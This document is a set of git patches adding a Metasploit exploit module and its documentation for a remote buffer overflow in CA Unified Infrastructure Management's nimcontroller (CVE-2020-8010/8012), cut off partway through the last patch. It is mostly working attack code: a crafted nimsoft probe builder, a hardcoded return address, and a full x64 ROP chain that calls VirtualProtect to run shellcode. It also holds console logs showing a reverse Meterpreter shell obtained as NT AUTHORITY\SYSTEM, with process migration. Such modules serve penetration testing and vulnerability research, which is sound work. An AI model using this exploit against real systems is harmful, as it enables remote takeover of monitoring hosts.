From d7ae3bd20c83fd6b0d5f6d9bdd758bae4982a3f4 Mon Sep 17 00:00:00 2001 From: wetw0rk Date: Sun, 19 Jul 2020 17:57:55 -0500 Subject: [PATCH 1/6] CVE-2020-8010 & CVE-2020-8012 aka Sing About Me, I'm Dying Of Thirst --- .../windows/nimsoft/nimcontroller_bof.md | 101 ++++ .../windows/nimsoft/nimcontroller_bof.rb | 460 ++++++++++++++++++ 2 files changed, 561 insertions(+) create mode 100644 documentation/modules/exploit/windows/nimsoft/nimcontroller_bof.md create mode 100644 modules/exploits/windows/nimsoft/nimcontroller_bof.rb diff --git a/documentation/modules/exploit/windows/nimsoft/nimcontroller_bof.md b/documentation/modules/exploit/windows/nimsoft/nimcontroller_bof.md new file mode 100644 index 000000000000..922062907a76 --- /dev/null +++ b/documentation/modules/exploit/windows/nimsoft/nimcontroller_bof.md @@ -0,0 +1,101 @@ +## Vulnerable Application + +All CA Infrastructure Management monitoring agents prior to 9.20 are vulnerable to a buffer overflow vulnerability within the nimcontroller when using the directory_list probe. Since the directory_list probe requires read privileges the target host must also be vulnerable to CVE-2020-8010 to bypass ACL settings. Successful code execution will result in a NT AUTHORITY\SYSTEM shell, even if exploitation fails the remote service will not crash. You should be able to exploit the service an unlimited amount of times. + +## Verification Steps + +1. Install the CA UIM v7.80.3132 (nimsoftrobotXXX.exe) +2. Start `msfconsole` +3. Do `use exploit/windows/nimsoft/nimcontroller_bof` +4. Do `set RHOSTS ` +5. Do `exploit` +6. Verify shell is opened and service is still accessible + +### Windows 10 x64 + +``` +msf5 exploit(windows/nimsoft/nimcontroller_bof) > options + +Module options (exploit/windows/nimsoft/nimcontroller_bof): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS A.B.C.D yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 48000 yes The target port (TCP) + + +Payload options (windows/x64/meterpreter/reverse_https): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) + LHOST W.X.Y.Z yes The local listener hostname + LPORT 8443 yes The local listener port + LURI no The HTTP Path + + +Exploit target: + + Id Name + -- ---- + 0 Windows Universal (x64) - v7.80.3132 + + +msf5 exploit(windows/nimsoft/nimcontroller_bof) > exploit + +[*] Started HTTPS reverse handler on https://W.X.Y.Z:8443 +[*] A.B.C.D:48000 - Verifying directory_list probe is accessible + + Directory of C:\ + + 12/15/2019 06:24 PM $GetCurrent + 12/14/2019 01:41 AM $Recycle.Bin + 10/18/2019 05:55 PM Documents and Settings + 07/19/2020 01:37 PM pagefile.sys + 07/14/2020 03:41 PM PerfLogs + 06/10/2020 09:18 AM Program Files + 07/19/2020 01:37 PM Program Files (x86) + 07/14/2020 03:41 PM ProgramData + 12/15/2019 07:08 PM Recovery + 07/19/2020 01:37 PM swapfile.sys + 10/18/2019 04:04 PM System Volume Information + 12/15/2019 07:09 PM Users + +[+] A.B.C.D:48000 - Successfully obtained directory listing, continuing exploitation +[*] https://W.X.Y.Z:8443 handling request from A.B.C.D; (UUID: cge6dvik) Staging x64 payload (202329 bytes) ... +[*] Meterpreter session 1 opened (W.X.Y.Z:8443 -> A.B.C.D:52352) at 2020-07-19 17:44:36 -0500 + +meterpreter > +[*] Session ID 1 (W.X.Y.Z:8443 -> A.B.C.D:52352) processing AutoRunScript 'post/windows/manage/migrate' +[*] Running module against DESKTOP-JICNNRT +[*] Current server process: controller.exe (1376) +[*] Spawning notepad.exe process to migrate into +[*] Spoofing PPID 0 +[*] Migrating into 6008 +[+] Successfully migrated into process 6008 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > background +[*] Backgrounding session 1... +msf5 exploit(windows/nimsoft/nimcontroller_bof) > check + +[*] A.B.C.D:48000 - Version 7.80 [Build 7.80.3132, Jun 1 2015] detected, sending directory_list probe + + Directory of C:\ + + 12/15/2019 06:24 PM $GetCurrent + 12/14/2019 01:41 AM $Recycle.Bin + 10/18/2019 05:55 PM Documents and Settings + 07/19/2020 01:37 PM pagefile.sys + 07/14/2020 03:41 PM PerfLogs + 06/10/2020 09:18 AM Program Files + 07/19/2020 01:37 PM Program Files (x86) + 07/14/2020 03:41 PM ProgramData + 12/15/2019 07:08 PM Recovery + 07/19/2020 01:37 PM swapfile.sys + 10/18/2019 04:04 PM System Volume Information + 12/15/2019 07:09 PM Users + +[+] A.B.C.D:48000 - The target is vulnerable. +``` diff --git a/modules/exploits/windows/nimsoft/nimcontroller_bof.rb b/modules/exploits/windows/nimsoft/nimcontroller_bof.rb new file mode 100644 index 000000000000..5918cf147f74 --- /dev/null +++ b/modules/exploits/windows/nimsoft/nimcontroller_bof.rb @@ -0,0 +1,460 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow', + 'Description' => %q{ + This module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller. + The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list + probe. + + Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the + directory_list probe. + + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'wetw0rk' # Vulnerability Discovery and Metasploit module + ], + 'References' => + [ + [ 'CVE', '2020-8010' ], # CA UIM Probe Improper ACL Handling RCE (Multiple Attack Vectors) + [ 'CVE', '2020-8012' ], # CA UIM nimbuscontroller Buffer Overflow RCE + [ 'URL', 'https://support.broadcom.com/external/content/release-announcements/CA20200205-01-Security-Notice-for-CA-Unified-Infrastructure-Management/7832' ], + [ 'PACKETSTORM', '156577' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + 'AUTORUNSCRIPT' => 'post/windows/manage/migrate' + }, + 'Payload' => + { + 'Space' => 9000, + }, + 'Platform' => 'win', + 'Arch' => ARCH_X64, + 'Targets' => + [ + [ + 'Windows Universal (x64) - v7.80.3132', + { + 'Platform' => 'win', + 'Arch' => [ARCH_X64], + 'Version' => "7.80 [Build 7.80.3132, Jun 1 2015]", + 'Ret' => 0x000000014006fd3d # pop rsp; or al, 0x00; add rsp, 0x0000000000000448 ; ret [controller.exe] + } + ], + ], + 'Privileged' => true, + 'DisclosureDate' => 'Feb 05 2020', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(48000), + ]) + + end + + def exploit + + connect + + print_status("Verifying directory_list probe is accessible") + sock.put(generate_probe("directory_list", ["directory=C:\\", "detail=1"])) + check = parse_listing(sock.get_once(4096), "C:\\") + if check == 0 + print_good("Successfully obtained directory listing, continuing exploitation") + else + return Exploit::CheckCode::Safe + end + + shellcode = "\x90" * 500 + shellcode << payload.raw + + offset = "\x41" * 1000 + offset += "\x0f" * 33 + + heap_flip = [target.ret].pack(" HMODULE GetModuleHandleA( + # ( RCX == *module ) LPCSTR lpModuleName, + # ); + rop_gadgets = [0x0000000140018c42] * 15 # ret + rop_gadgets += [0x0000000140002ef6, # pop rax ; ret + 0x0000000000000000, # (zero out rax) + 0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000] # + rop_gadgets += [0x0000000140018c42] * 10 # ret + rop_gadgets += [0x0000000140131643, # pop rcx ; ret + 0x00000000000009dd, # offset to "kernel32.dll" + 0x000000014006d8d8] # add rax, rcx ; add rsp, 0x38 ; ret + + rop_gadgets += [0x0000000140018c42] * 15 # ret + + rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret + rop_gadgets += [0x0000000140002ef6, # pop rax ; ret + 0x000000014015e310, # GetModuleHandleA (0x00000000014015E330-20) + 0x00000001400d1161] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret + rop_gadgets += [0x0000000140018c42] * 17 # ret + + # RAX -> FARPROC GetProcAddressStub( + # ( RCX == &addr ) HMODULE hModule, + # ( RDX == *module ) lpProcName + # ); + rop_gadgets += [0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule) + 0x0000000140002ef6, # pop rax ; ret + 0x0000000000000000, # (zero out rax) + 0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000] # + rop_gadgets += [0x0000000140018c42] * 10 # ret + rop_gadgets += [0x0000000140131643, # pop rcx ; ret + 0x0000000000000812, # offset to "virtualprotectstub" + 0x000000014006d8d8] # add rax, rcx ; add rsp, 0x38 ; ret + rop_gadgets += [0x0000000140018c42] * 15 # ret + rop_gadgets += [0x0000000140135e39] # mov edx, eax ; mov rbx, qword [rsp+0x30] ; mov rbp, qword [rsp+0x38] ; mov rsi, qword [rsp+0x40] ; mov rdi, qword [rsp+0x48] ; mov eax, edx ; add rsp, 0x20 ; pop r12 ; ret + rop_gadgets += [0x0000000140018c42] * 10 # ret + rop_gadgets += [0x00000001400d1ab8] # mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret + rop_gadgets += [0x0000000140018c42] * 10 # ret + rop_gadgets += [0x0000000140111ca1] # xchg rax, r13 ; or al, 0x00 ; ret + rop_gadgets += [0x00000001400cf3d5, # mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000] # + rop_gadgets += [0x0000000140018c42] * 6 # ret + rop_gadgets += [0x0000000140002ef6, # pop rax ; ret + 0x000000014015e318] # GetProcAddressStub (0x00000000014015e338-20) + rop_gadgets += [0x00000001400d1161] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret + rop_gadgets += [0x0000000140018c42] * 17 # ret + + # RAX -> BOOL VirtualProtectStub( + # ( RCX == *shellcode ) LPVOID lpAddress, + # ( RDX == len(shellcode) ) SIZE_T dwSize, + # ( R8 == 0x0000000000000040 ) DWORD flNewProtect, + # ( R9 == *writeable location ) PDWORD lpflOldProtect, + # ); + rop_gadgets += [0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub) + 0x000000014013d651, # pop r12 ; ret + 0x00000001401fb000, # *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE ) + 0x00000001400eba74] # or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret + rop_gadgets += [0x0000000140018c42] * 10 # ret + rop_gadgets += [0x0000000140002ef6, # pop rax ; ret + 0x0000000000000000] # + rop_gadgets += [0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000] # + rop_gadgets += [0x0000000140018c42] * 10 # ret + rop_gadgets += [0x0000000140131643, # pop rcx ; ret + 0x000000000000059f, # (offset to *shellcode) + 0x000000014006d8d8] # add rax, rcx ; add rsp, 0x38 ; ret + rop_gadgets += [0x0000000140018c42] * 15 # ret + rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret + rop_gadgets += [0x00000001400496a2, # pop rdx ; ret + 0x00000000000005dc] # dwSize + rop_gadgets += [0x00000001400bc39c, # pop r8 ; ret + 0x0000000000000040] # flNewProtect + rop_gadgets += [0x00000001400c5f8a] # mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub) + rop_gadgets += [0x0000000140018c42] * 17 # ret + rop_gadgets += [0x00000001400a0b55] # call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h] ; mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret + rop_gadgets += [0x0000000140018c42] * 20 # ret + + rop_gadgets += [0x0000000140002ef6, # pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE) + 0x0000000000000000, # (zero out rax) + 0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000, # + 0x0000000000000000] # + rop_gadgets += [0x0000000140018c42] * 10 # ret + rop_gadgets += [0x0000000140131643, # pop rcx ; ret + 0x0000000000000317, # (offset to our shellcode) + 0x000000014006d8d8] # add rax, rcx ; add rsp, 0x38 ; ret + rop_gadgets += [0x0000000140018c42] * 15 # ret + rop_gadgets += [0x00000001400a9747] # jmp rax + rop_gadgets += [0x0000000140018c42] * 20 # ret (do not remove) + + return rop_gadgets.pack(" "", "date" => "", "size" => "", "type" => ""} + dank = 1 + i = 0 + + begin + dirlist = response.split('\x00')[0].split("\x00") + index = dirlist.index("entry") + 3 + final = dirlist[index..] + rescue + dank = 0 + end + + if dank == 0 + print_error("Failed to gather directory listing") + return -1 + end + + print_line("\n Directory of %s\n" % directory) + + check = 0 + name = 0 + ftime = 0 + size = 0 + ftype = 0 + + while i < final.length + + if name == 1 + if final[i].to_i > 0 + ; + else + result["name"] = final[i] + name = 0 + check += 1 + end + end + if size >= 1 + if size == 3 + result["size"] = final[i] + size = 0 + check += 1 + else + size += 1 + end + end + if ftype >= 1 + if ftype == 3 + result["type"] = final[i] + ftype = 0 + check += 1 + else + ftype += 1 + end + end + if ftime >= 1 + if ftime == 3 + result["date"] = final[i] + ftime = 0 + check += 1 + else + ftime += 1 + end + end + + if final[i].include? "name" + name = 1 + end + if final[i].include? "size" + size = 1 + end + if final[i].include? "size" + ftype = 1 + end + if final[i].include? "last_modified" + ftime = 1 + end + + i += 1 + + if check == 4 + + if result["type"] == '2' + result["type"] = "" + else + result["type"] = "" + result["size"] = "" + end + + begin + time = Time.at(result["date"].to_i) + timestamp = time.strftime('%m/%d/%Y %I:%M %p') + rescue + timestamp = "??/??/???? ??:?? ??" + end + + print_line("%20s %6s %s" % [timestamp, result["type"], result["name"]]) + + check = 0 + end + end + print_line("") + return 0 + end + + # generate_probe: The nimcontroller utilizes the closed source protocol nimsoft so we need to specially + # craft probes in order for the controller to accept any input. + def generate_probe(probe, args) + + client = "#{rand_text_alphanumeric(14)}\x00" + packet_args = "" + probe += "\x00" + + for arg in args + + c = "" + i = 0 + + while c != "=" do + + c = arg[i] + i += 1 + + end + + packet_args << "#{arg[0, (i-1)]}\x00" + packet_args << "1\x00#{arg[i..].length+1}\x00" + packet_args << "#{arg[i..]}\x00" + + end + + packet_header = "nimbus/1.0 " # nimbus header (length of body) (length of args) + packet_body = "mtype\x00" # mtype + packet_body << "7\x004\x00100\x00" # 7.4.100 + packet_body << "cmd\x00" # cmd + packet_body << "7\x00#{probe.length}\x00" # 7.(length of probe) + packet_body << probe # probe + packet_body << "seq\x00" # seq + packet_body << "1\x002\x000\x00" # 1.2.0 + packet_body << "ts\x00" # ts + packet_body << "1\x0011\x00#{rand_text_alphanumeric(10)}\x00" # 1.11.(UNIX EPOCH TIME) + packet_body << "frm\x00" # frm + packet_body << "7\x00#{client.length}\x00" # 7.(length of client) + packet_body << client # client address + packet_body << "tout\x00" # tout + packet_body << "1\x004\x00180\x00" # 1.4.180 + packet_body << "addr\x00" # addr + packet_body << "7\x000\x00" # 7.0 + # + # probe packet arguments (dynamic) + # argument + # length of arg value + # argument value + + packet_header << "#{packet_body.length} #{packet_args.length}\r\n" + probe = packet_header + packet_body + packet_args + + return probe + + end + +end From 3d0a7313efb54d2ce31f81f19f54afd76be5a7a5 Mon Sep 17 00:00:00 2001 From: wetw0rk Date: Tue, 21 Jul 2020 11:19:23 -0500 Subject: [PATCH 2/6] nimsoft sploit --- .../windows/nimsoft/nimcontroller_bof.md | 66 ++++++------ .../windows/nimsoft/nimcontroller_bof.rb | 100 ++++++++---------- 2 files changed, 81 insertions(+), 85 deletions(-) diff --git a/documentation/modules/exploit/windows/nimsoft/nimcontroller_bof.md b/documentation/modules/exploit/windows/nimsoft/nimcontroller_bof.md index 922062907a76..81e844aed6d7 100644 --- a/documentation/modules/exploit/windows/nimsoft/nimcontroller_bof.md +++ b/documentation/modules/exploit/windows/nimsoft/nimcontroller_bof.md @@ -11,6 +11,11 @@ All CA Infrastructure Management monitoring agents prior to 9.20 are vulnerable 5. Do `exploit` 6. Verify shell is opened and service is still accessible +## Links + +[CA UIM](https://techdocs.broadcom.com/content/broadcom/techdocs/us/en/ca-enterprise-software/it-operations-management/unified-infrastructure-management/9-0-2/getting-started/ca-uim-overview.html) +[Nimsoft Probe Utility](https://techdocs.broadcom.com/content/broadcom/techdocs/us/en/ca-enterprise-software/it-operations-management/unified-infrastructure-management/9-0-2/administering/run-probe-commands-from-a-command-prompt.html) + ### Windows 10 x64 ``` @@ -18,10 +23,11 @@ msf5 exploit(windows/nimsoft/nimcontroller_bof) > options Module options (exploit/windows/nimsoft/nimcontroller_bof): - Name Current Setting Required Description - ---- --------------- -------- ----------- - RHOSTS A.B.C.D yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' - RPORT 48000 yes The target port (TCP) + Name Current Setting Required Description + ---- --------------- -------- ----------- + DIRECTORY C:\ no Directory path to obtain a listing + RHOSTS W.X.Y.Z yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 48000 yes The target port (TCP) Payload options (windows/x64/meterpreter/reverse_https): @@ -29,7 +35,7 @@ Payload options (windows/x64/meterpreter/reverse_https): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) - LHOST W.X.Y.Z yes The local listener hostname + LHOST A.B.C.D yes The local listener hostname LPORT 8443 yes The local listener port LURI no The HTTP Path @@ -43,59 +49,57 @@ Exploit target: msf5 exploit(windows/nimsoft/nimcontroller_bof) > exploit -[*] Started HTTPS reverse handler on https://W.X.Y.Z:8443 -[*] A.B.C.D:48000 - Verifying directory_list probe is accessible +[*] Started HTTPS reverse handler on https://A.B.C.D:8443 +[*] W.X.Y.Z:48000 - Executing automatic check (disable AutoCheck to override) +[*] https://A.B.C.D:8443 handling request from W.X.Y.Z; (UUID: rpsri4cm) Attaching orphaned/stageless session... +[*] Meterpreter session 1 opened (A.B.C.D:8443 -> W.X.Y.Z:50980) at 2020-07-21 11:14:09 -0500 +[*] W.X.Y.Z:48000 - Version 7.80 [Build 7.80.3132, Jun 1 2015] detected, sending directory_list probe Directory of C:\ 12/15/2019 06:24 PM $GetCurrent 12/14/2019 01:41 AM $Recycle.Bin 10/18/2019 05:55 PM Documents and Settings - 07/19/2020 01:37 PM pagefile.sys + 07/21/2020 10:15 AM pagefile.sys 07/14/2020 03:41 PM PerfLogs 06/10/2020 09:18 AM Program Files 07/19/2020 01:37 PM Program Files (x86) 07/14/2020 03:41 PM ProgramData 12/15/2019 07:08 PM Recovery - 07/19/2020 01:37 PM swapfile.sys + 07/21/2020 10:15 AM swapfile.sys 10/18/2019 04:04 PM System Volume Information 12/15/2019 07:09 PM Users + 07/18/2020 02:20 PM Windows -[+] A.B.C.D:48000 - Successfully obtained directory listing, continuing exploitation -[*] https://W.X.Y.Z:8443 handling request from A.B.C.D; (UUID: cge6dvik) Staging x64 payload (202329 bytes) ... -[*] Meterpreter session 1 opened (W.X.Y.Z:8443 -> A.B.C.D:52352) at 2020-07-19 17:44:36 -0500 +[+] W.X.Y.Z:48000 - The target is vulnerable. meterpreter > -[*] Session ID 1 (W.X.Y.Z:8443 -> A.B.C.D:52352) processing AutoRunScript 'post/windows/manage/migrate' +[*] Session ID 1 (A.B.C.D:8443 -> W.X.Y.Z:50980) processing AutoRunScript 'post/windows/manage/migrate' [*] Running module against DESKTOP-JICNNRT -[*] Current server process: controller.exe (1376) +[*] Current server process: notepad.exe (1860) [*] Spawning notepad.exe process to migrate into [*] Spoofing PPID 0 -[*] Migrating into 6008 -[+] Successfully migrated into process 6008 +[*] Migrating into 7472 +[+] Successfully migrated into process 7472 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > background [*] Backgrounding session 1... +msf5 exploit(windows/nimsoft/nimcontroller_bof) > set DIRECTORY C:\\Users\\ +DIRECTORY => C:\Users\ msf5 exploit(windows/nimsoft/nimcontroller_bof) > check -[*] A.B.C.D:48000 - Version 7.80 [Build 7.80.3132, Jun 1 2015] detected, sending directory_list probe +[*] W.X.Y.Z:48000 - Version 7.80 [Build 7.80.3132, Jun 1 2015] detected, sending directory_list probe - Directory of C:\ + Directory of C:\Users\ - 12/15/2019 06:24 PM $GetCurrent - 12/14/2019 01:41 AM $Recycle.Bin - 10/18/2019 05:55 PM Documents and Settings - 07/19/2020 01:37 PM pagefile.sys - 07/14/2020 03:41 PM PerfLogs - 06/10/2020 09:18 AM Program Files - 07/19/2020 01:37 PM Program Files (x86) - 07/14/2020 03:41 PM ProgramData - 12/15/2019 07:08 PM Recovery - 07/19/2020 01:37 PM swapfile.sys - 10/18/2019 04:04 PM System Volume Information - 12/15/2019 07:09 PM Users + 03/19/2019 12:02 AM All Users + 12/15/2019 07:14 PM Default + 03/19/2019 12:02 AM Default User + 03/18/2019 11:49 PM desktop.ini + 07/19/2020 01:37 PM REDACTED + 12/15/2019 09:07 PM Public -[+] A.B.C.D:48000 - The target is vulnerable. +[+] W.X.Y.Z:48000 - The target is vulnerable. ``` diff --git a/modules/exploits/windows/nimsoft/nimcontroller_bof.rb b/modules/exploits/windows/nimsoft/nimcontroller_bof.rb index 5918cf147f74..6b722ab11068 100644 --- a/modules/exploits/windows/nimsoft/nimcontroller_bof.rb +++ b/modules/exploits/windows/nimsoft/nimcontroller_bof.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super(update_info(info, @@ -39,7 +40,8 @@ def initialize(info = {}) }, 'Payload' => { - 'Space' => 9000, + 'Space' => 2000, + 'DisableNops' => true }, 'Platform' => 'win', 'Arch' => ARCH_X64, @@ -61,26 +63,59 @@ def initialize(info = {}) register_options( [ + OptString.new('DIRECTORY', [false, 'Directory path to obtain a listing', 'C:\\']), Opt::RPORT(48000), ]) end - def exploit + # check: there are only two prerequisites to getting code execution. The version number + # and access to the directory_list probe. The easiest way to get this information is to + # ask nicely ;) + def check connect - print_status("Verifying directory_list probe is accessible") - sock.put(generate_probe("directory_list", ["directory=C:\\", "detail=1"])) - check = parse_listing(sock.get_once(4096), "C:\\") - if check == 0 - print_good("Successfully obtained directory listing, continuing exploitation") - else - return Exploit::CheckCode::Safe + sock.put(generate_probe("get_info", ["interfaces=0"])) + response = sock.get_once(4096) + + i = 0 + list_check = -1 + target_version = "" + info = response.split("\x00") + + while i < info.length + if "version".in? info[i] + target_version = info[i+3] + break + end + i +=1 + end + + begin + if target['Version'].in? response + print_status("Version #{target['Version']} detected, sending directory_list probe") + sock.put(generate_probe("directory_list", ["directory=#{datastore['DIRECTORY']}", "detail=1"])) + list_check = parse_listing(sock.get_once(4096), datastore['DIRECTORY']) + end + ensure + disconnect + if list_check == 0 + return CheckCode::Vulnerable + end end - shellcode = "\x90" * 500 - shellcode << payload.raw + return CheckCode::Safe + + end + + def exploit + + super + connect + + shellcode = make_nops(500) + shellcode << payload.encoded offset = "\x41" * 1000 offset += "\x0f" * 33 @@ -255,50 +290,11 @@ def generate_rop_chain() end - # check: there are only two prerequisites to getting code execution. The version number - # and access to the directory_list probe. The easiest way to get this information is to - # ask nicely ;) - def check - - connect - - sock.put(generate_probe("get_info", ["interfaces=0"])) - response = sock.get_once(4096) - - $i = 0 - check = 0 - target_version = "" - info = response.split("\x00") - - while $i < info.length - if "version".in? info[$i] - target_version = info[$i+3] - break - end - $i +=1 - end - - if target['Version'].in? response - print_status("Version #{target['Version']} detected, sending directory_list probe") - sock.put(generate_probe("directory_list", ["directory=C:\\", "detail=1"])) - check = parse_listing(sock.get_once(4096), "C:\\") - disconnect - - if check == 0 - return Exploit::CheckCode::Vulnerable - end - end - - return Exploit::CheckCode::Safe - - end - # parse_listing: once the directory_list probe is sent we're returned a directory listing # unfortunately it's hard to read this simply "decodes" it def parse_listing(response, directory) result = {"name" => "", "date" => "", "size" => "", "type" => ""} - dank = 1 i = 0 begin @@ -306,10 +302,6 @@ def parse_listing(response, directory) index = dirlist.index("entry") + 3 final = dirlist[index..] rescue - dank = 0 - end - - if dank == 0 print_error("Failed to gather directory listing") return -1 end From dbd6129ec40909e4e88bd566989cdb61bd802b61 Mon Sep 17 00:00:00 2001 From: wetw0rk Date: Thu, 23 Jul 2020 09:32:04 -0500 Subject: [PATCH 3/6] if-vuln-check --- modules/exploits/windows/nimsoft/nimcontroller_bof.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/nimsoft/nimcontroller_bof.rb b/modules/exploits/windows/nimsoft/nimcontroller_bof.rb index 6b722ab11068..4d9a9665d0e0 100644 --- a/modules/exploits/windows/nimsoft/nimcontroller_bof.rb +++ b/modules/exploits/windows/nimsoft/nimcontroller_bof.rb @@ -102,6 +102,8 @@ def check disconnect if list_check == 0 return CheckCode::Vulnerable + else + return CheckCode::Appears end end @@ -300,7 +302,7 @@ def parse_listing(response, directory) begin dirlist = response.split('\x00')[0].split("\x00") index = dirlist.index("entry") + 3 - final = dirlist[index..] + final = dirlist[index..-1] rescue print_error("Failed to gather directory listing") return -1 @@ -414,8 +416,8 @@ def generate_probe(probe, args) end packet_args << "#{arg[0, (i-1)]}\x00" - packet_args << "1\x00#{arg[i..].length+1}\x00" - packet_args << "#{arg[i..]}\x00" + packet_args << "1\x00#{arg[i..-1].length+1}\x00" + packet_args << "#{arg[i..-1]}\x00" end From 938342793ea651c4ffcb95705c64d9e956e792a2 Mon Sep 17 00:00:00 2001 From: wetw0rk Date: Thu, 23 Jul 2020 09:46:13 -0500 Subject: [PATCH 4/6] removed vuln-confirmation --- modules/exploits/windows/nimsoft/nimcontroller_bof.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/exploits/windows/nimsoft/nimcontroller_bof.rb b/modules/exploits/windows/nimsoft/nimcontroller_bof.rb index 4d9a9665d0e0..1d6a0e9ac0ea 100644 --- a/modules/exploits/windows/nimsoft/nimcontroller_bof.rb +++ b/modules/exploits/windows/nimsoft/nimcontroller_bof.rb @@ -101,8 +101,6 @@ def check ensure disconnect if list_check == 0 - return CheckCode::Vulnerable - else return CheckCode::Appears end end From 8421b1a956478a7fc9ed3162e5cdd0e8acd5ff74 Mon Sep 17 00:00:00 2001 From: wetw0rk Date: Fri, 24 Jul 2020 15:50:00 -0500 Subject: [PATCH 5/6] fixes, and format --- .../windows/nimsoft/nimcontroller_bof.rb | 524 +++++++++--------- 1 file changed, 276 insertions(+), 248 deletions(-) diff --git a/modules/exploits/windows/nimsoft/nimcontroller_bof.rb b/modules/exploits/windows/nimsoft/nimcontroller_bof.rb index 1d6a0e9ac0ea..f36cbde20f51 100644 --- a/modules/exploits/windows/nimsoft/nimcontroller_bof.rb +++ b/modules/exploits/windows/nimsoft/nimcontroller_bof.rb @@ -10,62 +10,67 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::AutoCheck def initialize(info = {}) - super(update_info(info, - 'Name' => 'CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow', + 'Description' => %q{ This module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller. - The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list - probe. - - Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the - directory_list probe. - - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'wetw0rk' # Vulnerability Discovery and Metasploit module - ], - 'References' => - [ - [ 'CVE', '2020-8010' ], # CA UIM Probe Improper ACL Handling RCE (Multiple Attack Vectors) - [ 'CVE', '2020-8012' ], # CA UIM nimbuscontroller Buffer Overflow RCE - [ 'URL', 'https://support.broadcom.com/external/content/release-announcements/CA20200205-01-Security-Notice-for-CA-Unified-Infrastructure-Management/7832' ], - [ 'PACKETSTORM', '156577' ] - ], - 'DefaultOptions' => - { - 'EXITFUNC' => 'process', - 'AUTORUNSCRIPT' => 'post/windows/manage/migrate' - }, - 'Payload' => - { - 'Space' => 2000, - 'DisableNops' => true + The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list + probe. + + Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the + directory_list probe. }, - 'Platform' => 'win', - 'Arch' => ARCH_X64, - 'Targets' => - [ + 'License' => MSF_LICENSE, + 'Author' => + [ + 'wetw0rk' # Vulnerability Discovery and Metasploit module + ], + 'References' => [ - 'Windows Universal (x64) - v7.80.3132', - { - 'Platform' => 'win', - 'Arch' => [ARCH_X64], - 'Version' => "7.80 [Build 7.80.3132, Jun 1 2015]", - 'Ret' => 0x000000014006fd3d # pop rsp; or al, 0x00; add rsp, 0x0000000000000448 ; ret [controller.exe] - } + [ 'CVE', '2020-8010' ], # CA UIM Probe Improper ACL Handling RCE (Multiple Attack Vectors) + [ 'CVE', '2020-8012' ], # CA UIM 